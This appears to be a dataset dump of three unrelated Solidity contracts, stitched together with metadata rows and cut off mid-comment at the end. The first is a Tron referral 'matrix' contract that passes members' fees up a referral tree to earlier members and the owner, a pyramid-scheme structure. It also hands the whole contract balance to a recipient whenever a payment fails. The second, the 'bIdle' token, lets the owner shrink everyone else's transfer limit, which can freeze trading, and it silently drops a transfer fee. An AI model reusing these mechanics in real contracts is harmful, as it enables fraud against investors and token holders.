event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 matrix, uint8 level, uint8 place);
event MissedTronReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level);
event SentDividends(address indexed from,uint indexed fromId, address indexed receiver,uint receiverId, uint8 matrix, uint8 level, bool isExtra);
constructor(address ownerAddress) public {
levelPrice[1] = 100 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0),
O3MaxLevel:uint(0),
O6MaxLevel:uint(0),
O3Income:uint8(0),
O6Income:uint8(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeO3Levels[i] = true;
users[ownerAddress].activeO6Levels[i] = true;
}
users[ownerAddress].O3MaxLevel = 12;
users[ownerAddress].O6MaxLevel = 12;
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeO3Levels[level], "level already activated");
require(users[msg.sender].activeO3Levels[level - 1], "previous level should be activated");
if (users[msg.sender].O3Matrix[level-1].blocked) {
users[msg.sender].O3Matrix[level-1].blocked = false;
}
address freeO3Referrer = findFreeO3Referrer(msg.sender, level);
users[msg.sender].O3MaxLevel = level;
users[msg.sender].O3Matrix[level].currentReferrer = freeO3Referrer;
users[msg.sender].activeO3Levels[level] = true;
updateO3Referrer(msg.sender, freeO3Referrer, level);
totalearnedtrx = totalearnedtrx+levelPrice[level];
emit Upgrade(msg.sender, freeO3Referrer, 1, level);
} else {
require(!users[msg.sender].activeO6Levels[level], "level already activated");
require(users[msg.sender].activeO6Levels[level - 1], "previous level should be activated");
if (users[msg.sender].O6Matrix[level-1].blocked) {
users[msg.sender].O6Matrix[level-1].blocked = false;
}
address freeO6Referrer = findFreeO6Referrer(msg.sender, level);
users[msg.sender].O6MaxLevel = level;
users[msg.sender].activeO6Levels[level] = true;
updateO6Referrer(msg.sender, freeO6Referrer, level);
totalearnedtrx = totalearnedtrx+levelPrice[level];
emit Upgrade(msg.sender, freeO6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 200 trx, "registration cost 200");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
O3MaxLevel:1,
O6MaxLevel:1,
O3Income:0 trx,
O6Income:0 trx
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeO3Levels[1] = true;
users[userAddress].activeO6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
totalearnedtrx = totalearnedtrx+100 trx;
users[referrerAddress].partnersCount++;
address freeO3Referrer = findFreeO3Referrer(userAddress, 1);
users[userAddress].O3Matrix[1].currentReferrer = freeO3Referrer;
updateO3Referrer(userAddress, freeO3Referrer, 1);
updateO6Referrer(userAddress, findFreeO6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateO3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].O3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].O3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress, users[referrerAddress].id, 1, level, uint8(users[referrerAddress].O3Matrix[level].referrals.length));
return sendTronDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, 3);
//close matrix
users[referrerAddress].O3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeO3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].O3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeO3Referrer(referrerAddress, level);
if (users[referrerAddress].O3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].O3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].O3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateO3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTronDividends(owner, userAddress, 1, level);
users[owner].O3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateO6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeO6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].O6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, uint8(users[referrerAddress].O6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].O6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].O6Matrix[level].currentReferrer;
users[ref].O6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].O6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].O6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].O6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id,ref,users[ref].id, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].O6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 3);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 4);
}
} else if (len == 2 && users[ref].O6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 6);
}
}
return updateO6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].O6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].O6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].O6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].O6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].O6Matrix[level].closedPart)) {
updateO6(userAddress, referrerAddress, level, true);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].O6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].O6Matrix[level].closedPart) {
updateO6(userAddress, referrerAddress, level, true);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateO6(userAddress, referrerAddress, level, false);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateO6(userAddress, referrerAddress, level, false);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].O6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateO6(userAddress, referrerAddress, level, true);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].O6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].O6Matrix[level].firstLevelReferrals.length) {
updateO6(userAddress, referrerAddress, level, false);
} else {
updateO6(userAddress, referrerAddress, level, true);
}
updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateO6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].O6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].O6Matrix[level].firstLevelReferrals[0],users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].id, 2, level, uint8(users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].O6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 2 + uint8(users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].O6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].O6Matrix[level].currentReferrer = users[referrerAddress].O6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].O6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].O6Matrix[level].firstLevelReferrals[1],users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].id, 2, level, uint8(users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].O6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 4 + uint8(users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].O6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].O6Matrix[level].currentReferrer = users[referrerAddress].O6Matrix[level].firstLevelReferrals[1];
}
}
function updateO6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].O6Matrix[level].secondLevelReferrals.length < 4) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address[] memory O6 = users[users[referrerAddress].O6Matrix[level].currentReferrer].O6Matrix[level].firstLevelReferrals;
if (O6.length == 2) {
if (O6[0] == referrerAddress ||
O6[1] == referrerAddress) {
users[users[referrerAddress].O6Matrix[level].currentReferrer].O6Matrix[level].closedPart = referrerAddress;
} else if (O6.length == 1) {
if (O6[0] == referrerAddress) {
users[users[referrerAddress].O6Matrix[level].currentReferrer].O6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].O6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].O6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].O6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeO6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].O6Matrix[level].blocked = true;
}
users[referrerAddress].O6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeO6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateO6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTronDividends(owner, userAddress, 2, level);
}
}
function findFreeO3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeO3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeO6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeO6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveO3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeO3Levels[level];
}
function usersActiveO6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeO6Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].O3Matrix[level].currentReferrer,
users[userAddress].O3Matrix[level].referrals,
users[userAddress].O3Matrix[level].reinvestCount,
users[userAddress].O3Matrix[level].blocked);
}
function getO6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].O6Matrix[level].currentReferrer,
users[userAddress].O6Matrix[level].firstLevelReferrals,
users[userAddress].O6Matrix[level].secondLevelReferrals,
users[userAddress].O6Matrix[level].blocked,
users[userAddress].O6Matrix[level].reinvestCount,
users[userAddress].O6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTronReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].O3Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 1, level);
isExtraDividends = true;
receiver = users[receiver].O3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].O6Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 2, level);
isExtraDividends = true;
receiver = users[receiver].O6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTronDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTronReceiver(userAddress, _from, matrix, level);
if(matrix==1)
{
users[userAddress].O3Income +=levelPrice[level] ;
}
else if(matrix==2)
{
users[userAddress].O6Income +=levelPrice[level] ;
}
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, matrix, level, isExtraDividends);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 287,199 | 291 |
52e313ef3ec6428a08d179e643e3704031165fdf56b1627d4e129df4de8fc3be
| 26,299 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/91/91f688cbf524245f06756b60b5209dd931da1bc1_bIdle.sol
| 4,566 | 16,779 |
// SPDX-License-Identifier: Unlicensed
// IDLE TOKEN
// Idle BURGR game
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract bIdle is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Idle';
string private _symbol = 'IDLE';
uint8 private _decimals = 9;
uint8 private _newdec = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
uint256 public _totlAmt = 1000 * 10**6 * 10**9;
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setTotalAmt(uint256 totlAmount) external onlyOwner() {
_totlAmt = _tTotal.mul(totlAmount).div(10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _totlAmt, "Transfer amount exceeds the maxTx.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
// _reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
// _reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
// _reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
// _reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 97,358 | 292 |
20dc8cdd5d180a01d3753fd9fda5392d1268bcd29d84caffd4cfb0a2d67301f7
| 17,245 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Exchange/0xEF68e7C694F40c8202821eDF525dE3782458639f.sol
| 3,435 | 13,669 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
